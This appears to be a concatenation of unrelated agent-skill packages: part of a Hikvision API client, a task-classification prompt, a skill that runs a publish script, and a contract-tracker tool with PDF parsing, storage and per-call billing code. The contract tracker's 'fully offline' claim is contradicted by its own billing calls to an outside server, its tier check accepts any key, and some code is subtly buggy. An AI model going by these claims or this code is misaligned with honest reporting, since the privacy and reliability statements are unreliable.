print(" 1. Environment variables: HIK_CONNECT_TEAM_OPENAPI_APP_KEY and HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY")
print(" 2. OpenClaw config file: ~/.openclaw/config.json with channels.hik_connect_team_openapi section")
sys.exit(1)
print(f"[INFO] Using credentials from: {self._config_source}")
self.token_manager = TokenManager()
self._access_token = None
self._area_domain = None
def get_access_token(self, force_refresh: bool = False) -> str:
if not self._access_token or force_refresh:
res = self.token_manager.get_token(self.app_key, self.secret_key, force_refresh)
if res["success"]:
self._access_token = res["access_token"]
self._area_domain = res.get("area_domain", "")
else:
# Unify error field as message
print(f"[ERROR] Failed to get Token: {res.get('message')}")
sys.exit(1)
return self._access_token
def get_area_domain(self) -> str:
"""Get the area domain from token response, must call get_access_token first"""
if not self._area_domain:
self.get_access_token()
return self._area_domain
def request(self, method: str, endpoint: str, json_data: Optional[Dict] = None, params: Optional[Dict] = None, token_header_key: str = "Token") -> Dict[str, Any]:
"""Send request with Token, supports auto retry (when Token expired)"""
# Use areaDomain from token response as the domain
area_domain = self.get_area_domain()
if not area_domain:
return {"errorCode": "-1", "message": "areaDomain not found in token response"}
url = f"{area_domain}{endpoint}"
for attempt in range(2):
headers = {
"Content-Type": "application/json",
token_header_key: self.get_access_token(force_refresh=(attempt > 0))
}
try:
response = requests.request(method, url, headers=headers, json=json_data, params=params, timeout=30)
result = response.json()
# Token invalid error codes - retry once with fresh token
# Common token error codes in Hikvision APIs: 10002 (token expired/invalid), 20004 (token malformed)
error_code = result.get("errorCode")
if error_code in ["10002", "20004"] and attempt == 0:
print("[INFO] Token may be invalid, trying to refresh Token and retry...")
continue
# Unify error field as message
if result.get("errorCode") != "0" and "errorMsg" in result:
result["message"] = result.pop("errorMsg")
return result
except requests.exceptions.RequestException as e:
# Unify error field as message
return {"errorCode": "-1", "message": f"Request exception: {str(e)}"}
except json.JSONDecodeError:
# Unify error field as message
return {"errorCode": "-1", "message": f"JSON parsing failed: {response.text}"}
except Exception as e:
# Unify error field as message
return {"errorCode": "-1", "message": f"Unknown error: {str(e)}"}
# Both attempts failed
return {"errorCode": "-1", "message": "Request failed, Token refresh still invalid or other issue encountered"}
@staticmethod
def print_table(title: str, headers: List[str], rows: List[List[Any]]):
"""Generic table printing utility"""
print("=" * 70)
print(title)
print("=" * 70)
if not rows:
print("No data found")
return
# Calculate max width for each column
col_widths = [len(h) for h in headers]
for row in rows:
for i, val in enumerate(row):
# Ensure val is string, avoid len() error
col_widths[i] = max(col_widths[i], len(str(val)))
# Print header
header_line = " ".join(f"{headers[i]:<{col_widths[i]}}" for i in range(len(headers)))
print(header_line)
print("-" * len(header_line))
# Print rows
for row in rows:
row_line = " ".join(f"{str(val):<{col_widths[i]}}" for i, val in enumerate(row))
print(f"{row_line}")
print("=" * 70)
@staticmethod
def exit_with_json(data: Dict[str, Any]):
"""Output in JSON format and exit"""
print("\n[JSON Output]")
print(json.dumps(data, indent=2, ensure_ascii=False))
print("=" * 70)
print("Done")
print("=" * 70)
sys.exit(0 if data.get("success", True) else 1)
# Backward compatibility (if external code calls get_cached_token directly)
def get_cached_token(app_key, secret_key, use_cache=True):
tm = TokenManager()
return tm.get_token(app_key, secret_key, force_refresh=not use_cache)
if __name__ == "__main__":
# Simple CLI test
# Ensure HIK_CONNECT_TEAM_OPENAPI_APP_KEY, HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY environment variables are set
try:
client = HCTOpenClient()
token = client.get_access_token()
print(f"Test Token: {token[:10]}...")
# Simulate a request
test_endpoint = "/api/hccgw/resource/v1/devices/get" # Hypothetical test endpoint
test_result = client.request("POST", test_endpoint, json_data={"pageIndex":1, "pageSize":1}, token_header_key="Token")
print("Test request result:")
print(json.dumps(test_result, indent=2, ensure_ascii=False))
except Exception as e:
print(f"Test failed: {e}")
Smart task analysis with optimal tool prescription. Analyze any coding task by complexity, domain, scope, and risk — then prescribe the best combination of U...
--- name: ucts-guide description: > Smart task analysis with optimal tool prescription. Analyze any coding task by complexity, domain, scope, and risk — then prescribe the best combination of UCTS optimization tools. Works directly in OpenClaw without a Claude Code session. tags: [ucts, token-optimization, planning, task-analysis] --- # UCTS Smart Guide Analyze the user's task and prescribe the optimal Claude Code session configuration. ## When to use When the user describes any coding task — feature, bug fix, refactor, architecture, etc. — and you need to decide HOW to approach it optimally. ## Process ### 1. Classify the task | Dimension | Options | |-----------|---------| | **Complexity** | trivial, simple, moderate, complex, massive | | **Domain** | code, debug, refactor, feature, architecture, devops, docs, security, performance, migration | | **Scope** | single-file, multi-file, module, cross-module, full-repo, multi-repo | | **Risk** | none, low, medium, high, critical | **Signals to look for:** - "todo list", "script", "hello world" → trivial - "fix bug", "add test" → simple - "authentication", "OAuth", "API endpoint" → moderate - "microservice", "payment", "distributed" → complex - "redesign", "rewrite", "migration" → massive - "payment", "stripe", "encryption" → critical risk - "security", "OWASP", "vulnerability" → high risk ### 2. Prescribe the combo | Complexity | Caveman | Tools | Model | |-----------|---------|-------|-------| | **trivial** | ultra | Cache + Monitor | haiku-only | | **simple** | full | + Pruner, Fast Transform | haiku-default | | **moderate** | full | + LLMLingua, Semantic Cache, SWE-Pruner, RouteLLM, Repo Map | auto-route | | **complex** | lite | + AgentDiet, Hierarchical Memory, Swarm, /office-hours | auto-route | | **massive** | off/lite | + Observability, SPARC, all of the above | sonnet/opus | **Risk overrides:** - critical risk → caveman off (no compression on safety-critical work) - high risk → add `/careful` (destructive command blocking) - any security domain → add `/cso` after implementation ### 3. Generate the dispatch instruction Format for spawning a Claude Code session: ``` Load UCTS. Run /ucts guide <original task description> ``` For specific known patterns: - Security audit → `Load UCTS. Run /cso` - Code review → `Load UCTS. Run /review` - QA test → `Load UCTS. Run /qa <url>` - Feature → `Load UCTS. Run /ucts guide <desc>, approve, implement, /ship` - Plan only → `Load UCTS. Run /ucts guide <desc>, /office-hours, /autoplan. Save plan, don't implement.` ### 4. Show the user ``` 📋 Task: [description] 📊 Classification: [complexity] [domain] | [scope] | risk: [risk] 🎯 Combo: caveman:[level] + [Tool1] + [Tool2] + ... 💰 Estimated savings: [X]% Spawning Claude Code with: "Load UCTS. Run /ucts guide [task]" ```
自动创建并上传一个简单测试 skill,展示本地 skill 的创建与上传全过程,支持无交互登录。
name: simulated-upload-helper description: 当用户说“模拟上传”时,直接触发已有 skill 的发布流程,不创建新 skill。 version: 0.1.1 # Simulated Upload Helper ## 用途 这个 skill 用于快速触发本地 skills 的上传/发布流程,只调用发布脚本,不创建任何新 skill。 ## 触发词 - 模拟上传 - 上传 skill - 发布 skills - 一键发布 ## 执行步骤 1. 判断用户是否指定了 skill 名: - 指定 skill 名:执行单个发布。 - 未指定 skill 名:执行按变更批量发布。 2. 调用仓库中的发布脚本: - 批量模式:`./publish-skills.sh --root ".cursor/skills"` - 单个模式:`./publish-skills.sh --root ".cursor/skills" --skill "<skill目录名>"` 3. 输出发布结果;若失败,返回错误信息并给出排查建议。 ## 约束 - 严禁创建新的 skill 目录或 `SKILL.md` 文件。 - 严禁修改用户未要求变更的 skill 内容。 - 所有路径带空格时必须使用双引号。 - 上传前确认环境变量: - `CLAWHUB_TOKEN`(可选,供无交互登录) - `CLAWHUB_REGISTRY`(可选,覆盖默认 registry) - 若未设置 `CLAWHUB_TOKEN`,需提前执行 `clawhub login`。 ## 示例 用户输入:`模拟上传` 期望行为: 1. 直接执行发布命令(单个或批量)。 2. 不创建任何测试 skill。 3. 返回成功或失败原因。
Upload contract PDFs to extract and manage contract details with expiry reminders and Feishu push notifications, fully offline and secure.
# Contract Tracker (contract-tracker)
> Upload contract PDFs → AI extracts key fields → Manage ledger → Expiry reminders + Feishu push
---
## Trigger Phrases
`contract ledger` `contract management` `contract tracker` `pdf contract` `contract reminder`
---
## Usage
### Command Line
```bash
# Upload a contract PDF
python -m scripts.main upload /path/to/contract.pdf
# List all contracts
python -m scripts.main list
# List contracts expiring within 30 days
python -m scripts.main list --status "Active" --sort end_date
# Get contract details
python -m scripts.main get <contract_id>
# Update a contract
python -m scripts.main update <contract_id> --name "New Name" --status "Terminated"
# Delete a contract
python -m scripts.main delete <contract_id>
# Add expiry reminder
python -m scripts.main reminder <contract_id> add --days 30
# Check expiring contracts
python -m scripts.main check --days 30
# Export contracts
python -m scripts.main export --format csv -o contracts.csv
```
### Python API
```python
from scripts import extract_text_from_pdf, extract_contract_fields
from scripts import add_contract, get_contracts, get_contract
from scripts import update_contract, delete_contract
# Extract fields from PDF
text = extract_text_from_pdf("/path/to/contract.pdf")
fields = extract_contract_fields(text, "contract.pdf")
contract = add_contract(fields)
# List contracts
all_contracts = get_contracts(status="Active")
```
---
## Contract Fields Extracted
- **Contract Name** — from PDF title
- **Amount** — RMB amount via regex
- **Sign Date** — contract signing date
- **Start Date** — effective start date
- **End Date** — expiry date
- **Counterparty** — other party name
- **Key Nodes** — payment terms, renewal clauses (up to 5)
- **Status** — Active / Expired (auto-calculated)
---
## Supported Formats
| Format | Extension | Notes |
|--------|-----------|-------|
| PDF | `.pdf` | Text extraction via PyMuPDF |
---
## Tech Stack
- **Parsing**: PyMuPDF (fitz)
- **AI Field Extraction**: Regex + heuristic pattern matching (fully offline, no external AI API)
- **Storage**: JSON file in `/tmp/contract-tracker/` (fully offline, no home directory writes)
- **Notifications**: Feishu IM card format
---
## Tiered Features
| Feature | FREE | PRO |
|---------|:----:|:---:|
| Max Contracts | 5 | Unlimited |
| Max Reminders | 1 | Unlimited |
| Export Formats | CSV | CSV, XLSX, PDF |
| Feishu Reminders | No | Yes |
**Price**: $0.01 USDT per call (PRO tier). FREE tier is free.
> Get PRO: [https://skillpay.me/contract-tracker](https://skillpay.me/contract-tracker)
---
## Billing
- **Endpoint**: `POST https://skillpay.me/api/v1/billing/charge`
- **Header**: `X-API-Key: {api_key}`
- **Body**: `{"user_id": "...", "skill_id": "contract-tracker", "amount": 0.01}`
- **Response**: `{"success": true, "balance": ...}`
- **Fallback**: Network error → FREE tier (do not block usage)
- **Dev Mode**: No API key configured → `balance=999.0`, no charge
---
## Required Environment Variables
| Variable | Description |
|----------|-------------|
| `SKILL_BILLING_API_KEY` | SkillPay Builder API Key |
| `SKILL_BILLING_SKILL_ID` | Skill Slug (default: contract-tracker) |
---
## Security Notes
- All contract data stored in `/tmp/contract-tracker/` — no home directory writes
- PDF parsing is fully offline — no external network calls during extraction
- Feishu card push requires a Feishu bot token (configure separately)
---
## API Key Format
Any non-empty string works as an API key. Tier is determined automatically:
- **No API key** → FREE tier
- **Any API key** → PRO tier
---
## Slug
`contract-tracker`
FILE:requirements.txt
PyMuPDF>=1.23.0
requests>=2.28.0
FILE:scripts/pdf_parser.py
"""
PDF Parser for Contract Ledger.
Uses PyMuPDF (fitz) to extract text from PDF contracts.
"""
import re
import fitz
from datetime import datetime
from typing import Optional
def extract_text_from_pdf(pdf_path: str) -> str:
"""Extract all text from a PDF file."""
doc = fitz.open(pdf_path)
text_parts = []
for page in doc:
text_parts.append(page.get_text())
doc.close()
return "\n".join(text_parts)
def extract_contract_fields(text: str, filename: str = "") -> dict:
"""
Extract key fields from contract text using pattern matching.
Returns: contract_name, amount, dates, counterparty, key_nodes, status.
"""
# Extract contract name
lines = [l.strip() for l in text.split("\n") if l.strip()]
contract_name = ""
if lines:
for line in lines[:5]:
if len(line) > 5 and not line.startswith("\u7b2c") and "\u6761" not in line:
contract_name = line
break
if not contract_name and filename:
contract_name = filename.replace(".pdf", "").replace("_", " ")
# Extract amount
amount = extract_amount(text)
# Extract dates
sign_date = extract_date(text, ["\u7b7e\u8ba2\u65e5\u671f", "\u7b7e\u7f72\u65e5\u671f", "\u7b7e\u7ea6\u65e5\u671f", "\u7b7e\u8ba2\u4e8e"])
start_date = extract_date(text, ["\u5f00\u59cb\u65e5\u671f", "\u751f\u6548\u65e5\u671f", "\u8d77\u59cb\u65e5\u671f", "\u5f00\u59cb\u4e8e"])
end_date = extract_date(text, ["\u7ed3\u675f\u65e5\u671f", "\u5230\u671f\u65e5\u671f", "\u7ec8\u6b62\u65e5\u671f", "\u5c48\u6ee1\u65e5\u671f", "\u5230\u671f\u4e8e"])
# Extract counterparty
counterparty = extract_counterparty(text)
# Extract key nodes
key_nodes = extract_key_nodes(text)
return {
"contract_name": contract_name,
"amount": amount,
"sign_date": sign_date,
"start_date": start_date,
"end_date": end_date,
"counterparty": counterparty,
"key_nodes": key_nodes,
"status": determine_status(end_date),
}
def extract_amount(text: str) -> Optional[float]:
"""Extract contract amount from text."""
patterns = [
r"\u5408\u540c\u91d1\u989d[::]\s*([\d,,.]+)",
r"\u603b\u4ef7\u6b3e?[::]\s*([\d,,.]+)",
r"\u603b\u4ef7[::]\s*([\d,,.]+)",
r"([\d,,.]+)\s*\u5143",
r"¥\s*([\d,,.]+)",
r"RMB\s*([\d,,.]+)",
]
for pattern in patterns:
match = re.search(pattern, text)
if match:
amount_str = match.group(1).replace(",", "").replace("\uff0c", ".")
try:
return float(amount_str)
except ValueError:
continue
return None
def extract_date(text: str, keywords: list) -> Optional[str]:
"""Extract date from text using keywords."""
date_pattern = r"(\d{4}[-/\u5e74]\d{1,2}[-/\u6708]\d{1,2}[\u65e5]?)"
for kw in keywords:
idx = text.find(kw)
if idx != -1:
snippet = text[idx:idx+50]
match = re.search(date_pattern, snippet)
if match:
return normalize_date(match.group(1))
match = re.search(date_pattern, text)
if match:
return normalize_date(match.group(1))
return None
def normalize_date(date_str: str) -> str:
"""Normalize date to YYYY-MM-DD format."""
date_str = date_str.replace("\u5e74", "-").replace("\u6708", "-").replace("\u65e5", "")
parts = re.split(r"[-/]", date_str)
if len(parts) == 3:
return f"{int(parts[0]):04d}-{int(parts[1]):02d}-{int(parts[2]):02d}"
return date_str
def extract_counterparty(text: str) -> Optional[str]:
"""Extract counterparty company name."""
patterns = [
r"\u4e59\u65b9[::]\s*([^\s\uff0c\uff0c\uff0c]+)",
r"\u5bf9\u65b9[::]\s*([^\s\uff0c\uff0c\uff0c]+)",
r"\u4f9b\u5e94\u5546[::]\s*([^\s\uff0c\uff0c\uff0c]+)",
r"\u670d\u52a1\u5546[::]\s*([^\s\uff0c\uff0c\uff0c]+)",
r"\u59d4\u6258\u65b9[::]\s*([^\s\uff0c\uff0c\uff0c]+)",
]
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(1).strip()
return None
def extract_key_nodes(text: str) -> list:
"""Extract key contract nodes (payment terms, renewal, etc.)."""
nodes = []
payment_patterns = [
r"\u4ed8\u6b3e\u65b9\u5f0f[::][^\n\u3002]+",
r"\u652f\u4ed8\u65b9\u5f0f[::][^\n\u3002]+",
r"\u4ed8\u6b3e\u6761\u4ef6[::][^\n\u3002]+",
]
for p in payment_patterns:
m = re.search(p, text)
if m:
nodes.append(m.group(0).strip())
renewal_patterns = [
r"\u7eed\u7ea6[^\n\u3002]+",
r"\u81ea\u52a8\u7eed\u671f[^\n\u3002]+",
r"\u671f\u6ee1\u540e[^\n\u3002]+",
]
for p in renewal_patterns:
m = re.search(p, text)
if m:
nodes.append(m.group(0).strip())
return nodes[:5]
def determine_status(end_date: Optional[str]) -> str:
"""Determine contract status based on end date."""
if not end_date:
return "Active" # Active
try:
end = datetime.strptime(end_date, "%Y-%m-%d")
now = datetime.now()
if end < now:
return "Expired" # Expired
return "Active" # Active
except ValueError:
return "Active"
FILE:scripts/config.py
"""
Configuration module for Contract Tracker.
No external API validation - billing is handled separately via SkillPay.
Tier is determined by presence of a valid API key: FREE (no key) | PRO (any key).
"""
from dataclasses import dataclass
from typing import Optional
# Tier definitions (2-tier: FREE | PRO)
TIERS = {
"FREE": {
"max_contracts": 5,
"max_reminders": 1,
"export_formats": ["csv"],
},
"PRO": {
"max_contracts": -1, # unlimited
"max_reminders": -1, # unlimited
"export_formats": ["csv", "xlsx", "pdf"],
},
}
FALLBACK_TIER = "FREE"
@dataclass
class TokenInfo:
"""Token validation result."""
valid: bool
tier: str
max_contracts: int
max_reminders: int
export_formats: list
error: Optional[str] = None
class Config:
"""Configuration manager - no external API calls."""
def __init__(self):
self._cache: dict = {}
def validate_token(self, api_key: str) -> TokenInfo:
"""
Validate token. For ClawHub model: any non-empty API key = PRO tier.
No external API call needed - billing is handled by SkillPay separately.
"""
if api_key and api_key.strip():
tier = "PRO"
tier_info = TIERS["PRO"]
return TokenInfo(
valid=True,
tier=tier,
max_contracts=tier_info["max_contracts"],
max_reminders=tier_info["max_reminders"],
export_formats=tier_info["export_formats"],
)
else:
tier = "FREE"
tier_info = TIERS["FREE"]
return TokenInfo(
valid=True, # FREE tier is always valid
tier=tier,
max_contracts=tier_info["max_contracts"],
max_reminders=tier_info["max_reminders"],
export_formats=tier_info["export_formats"],
)
def clear_cache(self, api_key: Optional[str] = None):
"""Clear the validation cache."""
if api_key:
self._cache.pop(api_key, None)
else:
self._cache.clear()
def get_tier_limits(tier: str) -> dict:
"""Get tier limits as a dict (for backward compatibility)."""
tier_info = TIERS.get(tier, TIERS[FALLBACK_TIER])
return {
"max_contracts": tier_info["max_contracts"],
"max_reminders": tier_info["max_reminders"],
"export_formats": tier_info["export_formats"],
}
FILE:scripts/billing.py
"""
Billing module for Contract Tracker (contract-tracker).
Integrates with SkillPay per-call billing.
"""
import os
import requests
import logging
logger = logging.getLogger(__name__)
BILLING_URL = "https://skillpay.me/api/v1/billing"
API_KEY = os.environ.get("SKILL_BILLING_API_KEY", "")
SKILL_ID = os.environ.get("SKILL_BILLING_SKILL_ID", "contract-tracker")
HEADERS = {"X-API-Key": API_KEY, "Content-Type": "application/json"}
CALL_PRICE = 0.0100 # USDT per call
def is_dev_mode() -> bool:
"""Check if running in development mode (no API key configured)."""
return API_KEY in ("", "dev", "test")
def charge_user(user_id: str) -> dict:
"""
Charge a user for one API call.
Returns dict with ok=True/False and balance/payment_url on failure.
"""
if is_dev_mode():
return {"ok": True, "balance": 999.0}
try:
resp = requests.post(
f"{BILLING_URL}/charge",
headers=HEADERS,
json={"user_id": user_id, "skill_id": SKILL_ID, "amount": CALL_PRICE},
timeout=10
)
data = resp.json()
if data.get("success"):
return {"ok": True, "balance": data.get("balance", 0.0)}
return {
"ok": False,
"balance": 0.0,
"payment_url": data.get("payment_url", f"https://skillpay.me/{SKILL_ID}"),
}
except Exception as e:
logger.warning(f"Billing error: {e}")
return {"ok": False, "balance": 0.0, "payment_url": f"https://skillpay.me/{SKILL_ID}"}
FILE:scripts/requirements.txt
PyMuPDF>=1.23.0
requests>=2.28.0
FILE:scripts/feishu_notifier.py
"""
Feishu notification module for Contract Ledger.
Builds Feishu card messages for contract expiry reminders.
"""
from typing import Optional
def build_reminder_card(contract: dict, days_until_expiry: int) -> dict:
"""Build a Feishu reminder card for a contract."""
fields = [
{"is_short": True, "text": {"tag": "lark_md", "content": "**Contract**"}},
{"is_short": True, "text": {"tag": "lark_md", "content": f"{contract.get('contract_name', 'N/A')}"}},
{"is_short": True, "text": {"tag": "lark_md", "content": "**Counterparty**"}},
{"is_short": True, "text": {"tag": "lark_md", "content": f"{contract.get('counterparty', 'N/A')}"}},
{"is_short": True, "text": {"tag": "lark_md", "content": "**End Date**"}},
{"is_short": True, "text": {"tag": "lark_md", "content": f"{contract.get('end_date', 'N/A')}"}},
{"is_short": True, "text": {"tag": "lark_md", "content": "**Days Remaining**"}},
{"is_short": True, "text": {"tag": "lark_md", "content": f"{days_until_expiry} days"}},
]
amount = contract.get("amount")
if amount:
fields.extend([
{"is_short": True, "text": {"tag": "lark_md", "content": "**Amount**"}},
{"is_short": True, "text": {"tag": "lark_md", "content": f"¥{amount:,.2f}"}},
])
card = {
"config": {"wide_screen_mode": True},
"elements": [
{"tag": "markdown", "content": "**Contract Expiry Reminder**"},
{"tag": "hr"},
{"tag": "div", "fields": fields},
{"tag": "hr"},
{"tag": "markdown", "content": "Sent by Contract Tracker"}
],
"header": {
"title": {"tag": "plain_text", "content": "Contract Expiry Reminder"},
"template": "orange"
}
}
return card
def format_reminder_message(contract: dict, days_until_expiry: int) -> str:
"""Format reminder message as plain text."""
name = contract.get("contract_name", "N/A")
counterparty = contract.get("counterparty", "N/A")
end_date = contract.get("end_date", "N/A")
amount = contract.get("amount")
msg = f"Contract Expiry Reminder\n\n"
msg += f"Contract: {name}\n"
msg += f"Counterparty: {counterparty}\n"
msg += f"End Date: {end_date}\n"
msg += f"Days Remaining: {days_until_expiry} days\n"
if amount:
msg += f"Amount: ¥{amount:,.2f}\n"
return msg
FILE:scripts/__init__.py
"""
Contract Ledger - AI-powered contract management tool.
Upload PDF contracts, manage ledger, get expiry reminders.
"""
from .config import Config, TokenInfo, TIERS, FALLBACK_TIER, get_tier_limits
from .pdf_parser import extract_text_from_pdf, extract_contract_fields
from .storage import (
init_storage, add_contract, get_contracts, get_contract,
update_contract, delete_contract, add_reminder, remove_reminder,
get_expiring_contracts, count_contracts, export_contracts
)
from .feishu_notifier import build_reminder_card, format_reminder_message
__all__ = [
"Config", "TokenInfo", "TIERS", "FALLBACK_TIER", "get_tier_limits",
"extract_text_from_pdf", "extract_contract_fields",
"init_storage", "add_contract", "get_contracts", "get_contract",
"update_contract", "delete_contract", "add_reminder", "remove_reminder",
"get_expiring_contracts", "count_contracts", "export_contracts",
"build_reminder_card", "format_reminder_message",
]
FILE:scripts/storage.py
"""
Storage module for Contract Ledger.
JSON file local storage using /tmp/contract-tracker/ (no home directory writes).
"""
import json
import uuid
from pathlib import Path
from datetime import datetime
from typing import Optional
STORAGE_DIR = Path("/tmp/contract-tracker")
LEDGER_FILE = STORAGE_DIR / "contracts.json"
def init_storage():
"""Initialize storage directory and file."""
STORAGE_DIR.mkdir(parents=True, exist_ok=True)
if not LEDGER_FILE.exists():
_write_ledger([])
def _read_ledger() -> list:
"""Read ledger from file."""
try:
with open(LEDGER_FILE, "r", encoding="utf-8") as f:
return json.load(f)
except Exception:
return []
def _write_ledger(contracts: list):
"""Write ledger to file."""
with open(LEDGER_FILE, "w", encoding="utf-8") as f:
json.dump(contracts, f, ensure_ascii=False, indent=2)
def add_contract(fields: dict) -> dict:
"""Add a contract."""
contracts = _read_ledger()
contract = {
"id": str(uuid.uuid4())[:8],
"created_at": datetime.now().isoformat(),
"updated_at": datetime.now().isoformat(),
**fields,
"reminders": [],
}
contracts.append(contract)
_write_ledger(contracts)
return contract
def get_contracts(
status: Optional[str] = None,
sort_by: str = "end_date",
reverse: bool = True
) -> list:
"""Get contract list."""
contracts = _read_ledger()
if status:
contracts = [c for c in contracts if c.get("status") == status]
contracts.sort(
key=lambda x: x.get(sort_by, "" or "9999-12-31"),
reverse=reverse
)
return contracts
def get_contract(contract_id: str) -> Optional[dict]:
"""Get a single contract by ID."""
contracts = _read_ledger()
for c in contracts:
if c.get("id") == contract_id:
return c
return None
def update_contract(contract_id: str, updates: dict) -> Optional[dict]:
"""Update a contract."""
contracts = _read_ledger()
for i, c in enumerate(contracts):
if c.get("id") == contract_id:
contracts[i].update(updates)
contracts[i]["updated_at"] = datetime.now().isoformat()
_write_ledger(contracts)
return contracts[i]
return None
def delete_contract(contract_id: str) -> bool:
"""Delete a contract."""
contracts = _read_ledger()
original_len = len(contracts)
contracts = [c for c in contracts if c.get("id") != contract_id]
if len(contracts) < original_len:
_write_ledger(contracts)
return True
return False
def add_reminder(contract_id: str, days_before: int, enabled: bool = True) -> bool:
"""Add a reminder to a contract."""
contract = get_contract(contract_id)
if not contract:
return False
reminders = contract.get("reminders", [])
reminders.append({"days_before": days_before, "enabled": enabled})
update_contract(contract_id, {"reminders": reminders})
return True
def remove_reminder(contract_id: str, index: int) -> bool:
"""Remove a reminder from a contract."""
contract = get_contract(contract_id)
if not contract:
return False
reminders = contract.get("reminders", [])
if 0 <= index < len(reminders):
reminders.pop(index)
update_contract(contract_id, {"reminders": reminders})
return True
return False
def get_expiring_contracts(days: int = 7) -> list:
"""Get contracts expiring within N days."""
contracts = _read_ledger()
expiring = []
now = datetime.now()
for c in contracts:
if c.get("status") == "Expired":
continue
end_date_str = c.get("end_date")
if not end_date_str:
continue
try:
end_date = datetime.strptime(end_date_str, "%Y-%m-%d")
delta = (end_date - now).days
if 0 <= delta <= days:
c["days_until_expiry"] = delta
expiring.append(c)
except ValueError:
continue
return expiring
def count_contracts() -> int:
"""Count total contracts."""
return len(_read_ledger())
def export_contracts(contracts: list, format: str = "csv") -> str:
"""Export contract data."""
if not contracts:
return ""
if format == "csv":
return _export_csv(contracts)
elif format == "json":
return json.dumps(contracts, ensure_ascii=False, indent=2)
else:
return _export_csv(contracts)
def _export_csv(contracts: list) -> str:
"""Export to CSV format."""
if not contracts:
return ""
headers = ["id", "contract_name", "amount", "counterparty", "sign_date",
"start_date", "end_date", "status", "key_nodes"]
lines = [",".join(headers)]
for c in contracts:
row = [
c.get("id", ""),
c.get("contract_name", ""),
str(c.get("amount", "")),
c.get("counterparty", ""),
c.get("sign_date", ""),
c.get("start_date", ""),
c.get("end_date", ""),
c.get("status", ""),
"|".join(c.get("key_nodes", []))
]
lines.append(",".join(f'"{v}"' for v in row))
return "\n".join(lines)
FILE:scripts/main.py
#!/usr/bin/env python3
"""
Contract Ledger CLI - Main entry point.
Upload PDF contracts, manage ledger, get expiry reminders + Feishu notifications.
"""
import argparse
import sys
import json
from pathlib import Path
sys.path.insert(0, str(Path(__file__).parent))
from config import Config, get_tier_limits
from pdf_parser import extract_text_from_pdf, extract_contract_fields
from storage import (
init_storage, add_contract, get_contracts, get_contract,
update_contract, delete_contract, add_reminder, remove_reminder,
get_expiring_contracts, count_contracts, export_contracts
)
from feishu_notifier import build_reminder_card, format_reminder_message
from billing import is_dev_mode, charge_user
DEFAULT_API_KEY = ""
def cmd_upload(args):
"""Upload and parse a contract PDF."""
api_key = args.api_key or DEFAULT_API_KEY
if is_dev_mode():
print("Dev mode: Set SKILL_BILLING_API_KEY for full functionality.", file=sys.stderr)
billing_result = charge_user("cli_upload")
if not billing_result.get("ok"):
print(f"Error: Insufficient balance. Please recharge at https://skillpay.me/contract-tracker", file=sys.stderr)
return 1
config = Config()
token_info = config.validate_token(api_key)
tier = token_info.tier
limits = get_tier_limits(tier)
# Check contract limit
current_count = count_contracts()
max_contracts = limits["max_contracts"]
if max_contracts != -1 and current_count >= max_contracts:
print(f"Tier limit reached ({tier}: {max_contracts} contracts)", file=sys.stderr)
print(f"Current: {current_count}", file=sys.stderr)
return 1
# Extract text and fields
try:
text = extract_text_from_pdf(args.pdf_file)
fields = extract_contract_fields(text, Path(args.pdf_file).name)
except Exception as e:
print(f"PDF parsing failed: {e}", file=sys.stderr)
return 1
# Add contract
contract = add_contract(fields)
print(f"Contract added (ID: {contract['id']})")
print(f" Name: {fields.get('contract_name', 'N/A')}")
print(f" Counterparty: {fields.get('counterparty', 'N/A')}")
print(f" End Date: {fields.get('end_date', 'N/A')}")
print(f" Status: {fields.get('status', 'N/A')}")
if fields.get("amount"):
print(f" Amount: ¥{fields['amount']:,.2f}")
return 0
def cmd_list(args):
"""List contracts."""
contracts = get_contracts(status=args.status, sort_by=args.sort, reverse=not args.asc)
if not contracts:
print("No contracts found.")
return 0
print(f"\nContract Ledger ({len(contracts)} contracts)")
print("-" * 80)
for c in contracts:
amount_str = f"¥{c['amount']:,.2f}" if c.get("amount") else "-"
print(f"[{c['id']}] {c.get('contract_name', 'N/A')}")
print(f" Counterparty: {c.get('counterparty', '-')} | End: {c.get('end_date', '-')} | Amount: {amount_str}")
print(f" Status: {c.get('status', '-')}")
print()
return 0
def cmd_get(args):
"""Get a single contract."""
contract = get_contract(args.contract_id)
if not contract:
print(f"Contract not found: {args.contract_id}", file=sys.stderr)
return 1
print(f"\nContract Details ({contract['id']})")
print("-" * 40)
for k, v in contract.items():
if k == "key_nodes" and isinstance(v, list):
print(f" {k}:")
for node in v:
print(f" - {node}")
elif k == "reminders":
print(f" {k}: {json.dumps(v, ensure_ascii=False)}")
elif v is not None:
print(f" {k}: {v}")
return 0
def cmd_update(args):
"""Update a contract."""
updates = {}
if args.name:
updates["contract_name"] = args.name
if args.counterparty:
updates["counterparty"] = args.counterparty
if args.amount:
updates["amount"] = float(args.amount)
if args.end_date:
updates["end_date"] = args.end_date
if args.status:
updates["status"] = args.status
if not updates:
print("No updates provided", file=sys.stderr)
return 1
result = update_contract(args.contract_id, updates)
if result:
print(f"Contract updated: {args.contract_id}")
return 0
else:
print(f"Update failed: {args.contract_id}", file=sys.stderr)
return 1
def cmd_delete(args):
"""Delete a contract."""
if delete_contract(args.contract_id):
print(f"Contract deleted: {args.contract_id}")
return 0
else:
print(f"Delete failed: {args.contract_id}", file=sys.stderr)
return 1
def cmd_reminder(args):
"""Manage reminders."""
if args.action == "add":
if add_reminder(args.contract_id, args.days):
print(f"Reminder added ({args.days} days before expiry)")
else:
print(f"Failed to add reminder", file=sys.stderr)
return 1
elif args.action == "remove":
if remove_reminder(args.contract_id, args.index):
print("Reminder removed")
else:
print("Failed to remove reminder", file=sys.stderr)
return 1
elif args.action == "list":
contract = get_contract(args.contract_id)
if not contract:
print("Contract not found", file=sys.stderr)
return 1
reminders = contract.get("reminders", [])
if not reminders:
print("No reminders set")
else:
print(f"Reminders ({len(reminders)}):")
for i, r in enumerate(reminders):
status = "ON" if r.get("enabled") else "OFF"
print(f" [{i}] [{status}] {r['days_before']} days before expiry")
return 0
def cmd_check(args):
"""Check expiring contracts."""
api_key = args.api_key or DEFAULT_API_KEY
days = args.days or 7
billing_result = charge_user("cli_check")
if not billing_result.get("ok"):
print(f"Error: Insufficient balance.", file=sys.stderr)
return 1
expiring = get_expiring_contracts(days)
if not expiring:
print(f"No contracts expiring within {days} days")
return 0
print(f"{len(expiring)} contract(s) expiring within {days} days:\n")
for c in expiring:
days_left = c.get("days_until_expiry", 0)
print(f" [{c['id']}] {c.get('contract_name', 'N/A')}")
